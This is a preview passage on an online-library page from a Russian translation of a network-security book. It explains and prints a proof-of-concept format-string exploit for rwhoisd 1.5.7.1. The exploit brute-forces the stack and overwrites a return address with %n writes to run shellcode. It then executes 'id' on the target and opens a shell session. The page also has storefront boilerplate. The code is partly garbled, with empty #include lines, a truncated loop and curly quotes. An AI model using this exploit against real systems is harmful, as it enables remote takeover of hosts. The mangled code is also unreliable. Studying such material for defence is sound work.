Коллектив авторов - Защита от хакеров корпоративных сетей

Тут можно читать онлайн Коллектив авторов - Защита от хакеров корпоративных сетей - бесплатно ознакомительный отрывок. Жанр: Прочая околокомпьтерная литература. Здесь Вы можете читать ознакомительный отрывок из книги онлайн без регистрации и SMS на сайте лучшей интернет библиотеки ЛибКинг или прочесть краткое содержание (суть), предисловие и аннотацию. Так же сможете купить и скачать торрент в электронном формате fb2, найти и слушать аудиокнигу на русском языке или узнать сколько частей в серии и всего страниц в публикации. Читателям доступно смотреть обложку, картинки, описание и отзывы (комментарии) о произведении.

Коллектив авторов - Защита от хакеров корпоративных сетей краткое содержание

Защита от хакеров корпоративных сетей - описание и краткое содержание, автор Коллектив авторов, читайте бесплатно онлайн на сайте электронной библиотеки LibKing.Ru

В книге рассматривается современный взгляд на хакерство, реинжиниринг и защиту информации. Авторы предлагают читателям список законов, которые определяют работу систем компьютерной безопасности, рассказывают, как можно применять эти законы в хакерских технологиях. Описываются типы атак и возможный ущерб, который они могут нанести компьютерным системам. В книге широко представлены различные методы хакинга, такие, как поиск различий, методы распознавания шифров, основы их вскрытия и схемы кодирования. Освещаются проблемы безопасности, возникающие в результате непредсказуемого ввода данных пользователем, методы использования машинно-ориентированного языка, возможности применения мониторинга сетевых коммуникаций, механизмы туннелирования для перехвата сетевого трафика. В книге представлены основные сведения о хакерстве аппаратных средств, вирусах, троянских конях и червях. В этой книге читатель узнает о методах, которые в случае неправильного их применения приведут к нарушению законодательства и связанным с этим последствиям.

Лучшая защита – это нападение. Другими словами, единственный способ остановить хакера заключается в том, чтобы думать, как он. Эти фразы олицетворяют подход, который, по мнению авторов, позволит наилучшим образом обеспечить безопасность информационной системы.

Перевод: Александр Петренко

Защита от хакеров корпоративных сетей - читать онлайн бесплатно ознакомительный отрывок

Защита от хакеров корпоративных сетей - читать книгу онлайн бесплатно (ознакомительный отрывок), автор Коллектив авторов
Тёмная тема
Сбросить

Интервал:

Закладка:

Сделать

if((*ptr == “0”) && (*(ptr+1) == “x”))

{

memcpy(segment,ptr,10);

segment[10] = “\0”;

chekit = strtoul(segment,NULL,16);

if(chekit == FINDME)

{

printf(“*b00m*: found address #1: %i words

away.\n”,i);

foundit = i;

return foundit;

}

ptr += 10;

}

Содержимое стека просматривается с помощью спецификаций преобразования %010p. Спецификация формата %010p выводит очередное слово стека в восьмисимвольном шестнадцатеричном представлении с предшествующими символами 0x. С помощью функции библиотеки языка C strtoul() каждая из выведенных строк преобразуется в длинное целое двоичное число без знака.

Главное, что должна сделать программа, – это выполнить произвольный программный код. Для этого ей нужно подменить величины, которые могут указывать на выполнимые команды. Одной из них является адрес точки возврата из функции. Ранее уже отмечалось, что при переполнении буфера часто перезаписываются адреса возврата из функций. Адреса возврата перезаписываются по двум причинам. Во-первых, они находятся в стеке, а во-вторых, при переполнении буфера их можно перезаписать. В рассматриваемой программе адрес возврата из функции подменяется на адрес злонамеренного программного кода, прежде всего из-за легкости, с которой выполняется эта операция.

В программе атаки переписывается адрес возврата функции print_error(), который при вызове функции сохраняется в стеке. Поскольку программа предназначена только для демонстрации возможности подобных действий и на момент тестирования программы атаки адрес возврата из функции print_ error() находился в стеке сервиса по адресу 0xbffff8c8, то адрес перезаписываемой области в программе атаки задан символической константой TARGET.

После определения программой атаки адреса форматирующей строки формируется новая строка со спецификациями преобразования %n.Для подмены адреса возврата спецификациям %nдолжны соответствовать параметры, через которые передается адрес перезаписываемой области данных. Для поиска нужных адресов используются спецификации преобразования %xс указанием ширины поля, которые просматривают нужное число слов в стеке. В программе атаки необходимую последовательность спецификаций преобразования %xфункция get_str()формирует автоматически по результатам работы функции brute_force().

for(i = 0;i

{

strncat(str,“%x”,2); // work our way to where target is

}

В переменной num хранится число просмотренных слов стека, предшествующих форматирующей строке. Число просмотренных слов определяется функцией brute_force(). Осталось определить адрес записи. Адрес возврата перезаписывается ранее обсуждавшимся способом многократной записи. Для формирования четырехбайтного адреса используют четыре операции записи с различным смещением от начала перезаписываемой области данных. Адреса каждого из четырех байтов перезаписываемой области помещаются в отсылаемую строку:

*((long *)(str+8)) = TARGET; // target

*((long *)(str+16)) = TARGET+1;

*((long *)(str+24)) = TARGET+2;

*((long *)(str+32)) = TARGET+3;

str[36] = “\0”;

Следующий шаг состоит в записи правильных величин, определяющих адрес злонамеренного управляющего программного кода в стеке. Поскольку программа атаки только демонстрирует обсуждаемые возможности, то в ней в качестве адреса злонамеренного управляющего программного кода используется постоянный адрес 0xbffff99d. При формировании адреса 0xbffff99d в каждый байт выделенной для записи области помещаются младшие разряды величин, специально подобранных программой атаки:

TARGET – 9d

TARGET+1 – f9

TARGET+2 – ff

TARGET+3 – bf

Ранее уже обсуждалось использование спецификаций преобразования %n для записи младших разрядов данных. В последовательные возрастающие адреса памяти, задаваемые символическими константами TARGET, TARGET+1, TARGET+2 и TARGET+3, записываются младшие байты специально подобранных величин, которые совпадают с одним из байтов адреса программного кода. Например, при использовании спецификации преобразования %125x в область памяти, адрес которой равен значению константы TARGET, записывается величина, младший байт которой совпадает с младшим байтом адреса программного кода. Указав в спецификации преобразования %x ширину выводимого поля и применив способ многократной записи, можно сформировать в нужной области памяти адрес программного кода:

strncat(str,“%227x”,5); // padding

strncat(str,“%n”,2); // first write

strncat(str,“%92x”,4); // padding

strncat(str,“%n”,2); // second write

strncat(str,“%262x”,5); // padding

strncat(str,“%n”,2); // third write

strncat(str,“%192x”,5); // padding

strncat(str,“%n”,2); // fourth write

Следует отметить, что используемые в спецификации преобразования значения ширины выводимого поля полностью зависят от общего числа символов в отформатированной строке. При выводе отформатированной строки значение ширины поля можно определить автоматически программным способом.

Как только адрес возврата функции будет переписан, функция vfprintf() завершится обычным образом, злонамеренный управляющий программный код будет выполнен, а функция print_error() завершена. На рисунке 9.2 показан пример успешного использования уязвимости форматирующей строки.

Рис. 9.2. Использование уязвимости форматирующей строки программы rwhoisd для проникновения на хост

Ниже приведен исходный текст программы атаки:

// proof of concept

// written for rwhoisd 1.5.7.1 compiled on a Linux/i386 system

//

// overwrites return address at 0xbffff8c8 and replaces it with

// address of shellcode (for this binary)

// the shellcode is based on that which was included

// in an exploit written by ‘CowPower’.

// http://www.securityfocus.com/archive/1/222756

#include

#include

#include

#include

#include

#include

#include

extern int errno;

#define FINDME 0x62626262 // we need to find this in the stack

#define TARGET 0xbffff8c8 // the address that we are

overwriting

void gen_str(char *str, int found,int target);

unsigned int brute_force(int s, char *str,char *reply);

void session(int s);

int main(int argc, char *argv[])

{

int s;

fd_set fd;

int amt;

struct sockaddr_in sa;

struct sockaddr_in ca;

int where = 0;

char reply[5000]; // receive buffer

char str[1000]; // send buffer

str[0] = “-”; // – directive prefix

str[1] = “s”;

str[2] = “o”;

str[3] = “a”;

str[4] = “ ”; // padding

str[5] = “ ”; // padding

str[6] = “ ”; // padding

str[7] = “ ”; // padding

*((long *)(str+8)) = FINDME; // find me in the stack

str[12] = “\0”;

bzero(&ca,sizeof(struct sockaddr_in));

bzero(&sa,sizeof(struct sockaddr_in));

if ((s = socket(AF_INET, SOCK_STREAM, 0)) < 0)

{

perror(“socket:”);

}

if (bind(s,&ca,sizeof(struct sockaddr_in)) < 0)

{

perror(”bind:”);

}

sa.sin_addr.s_addr = inet_addr(“127.0.0.1”);

sa.sin_port = htons(4321);

sa.sin_family = AF_INET;

if (connect(s,&sa,sizeof(struct sockaddr_in)) < 0)

{

perror(“connect”);

}

where = brute_force(s,reply,str); // brute force

gen_str(str,where,TARGET); // generate exploit

string

write(s,str,strlen(str)); // send exploit code

while(1)

{

amt = read(s,reply,1);

if (reply[0] == “\n”)

break;

}

write(s,“id;\n”,4);

amt = read(s,reply,1024);

reply[amt] = “\0”;

if ((reply[0] == “u”) && (reply[1] == “i”) && (reply[2]

== “d”))

{

printf(“*b00m*: %s\n”,reply);

session(s);

}

else

{

printf(“exploit attempt unsuccessful..\n”);

}

close(s);

exit(0);

}

unsigned int brute_force(int s,char *reply, char *str)

{

// this function searches the stack on the victim host

Читать дальше
Тёмная тема
Сбросить

Интервал:

Закладка:

Сделать


Коллектив авторов читать все книги автора по порядку

Коллектив авторов - все книги автора в одном месте читать по порядку полные версии на сайте онлайн библиотеки LibKing.




Защита от хакеров корпоративных сетей отзывы


Отзывы читателей о книге Защита от хакеров корпоративных сетей, автор: Коллектив авторов. Читайте комментарии и мнения людей о произведении.


Понравилась книга? Поделитесь впечатлениями - оставьте Ваш отзыв или расскажите друзьям

Напишите свой комментарий
x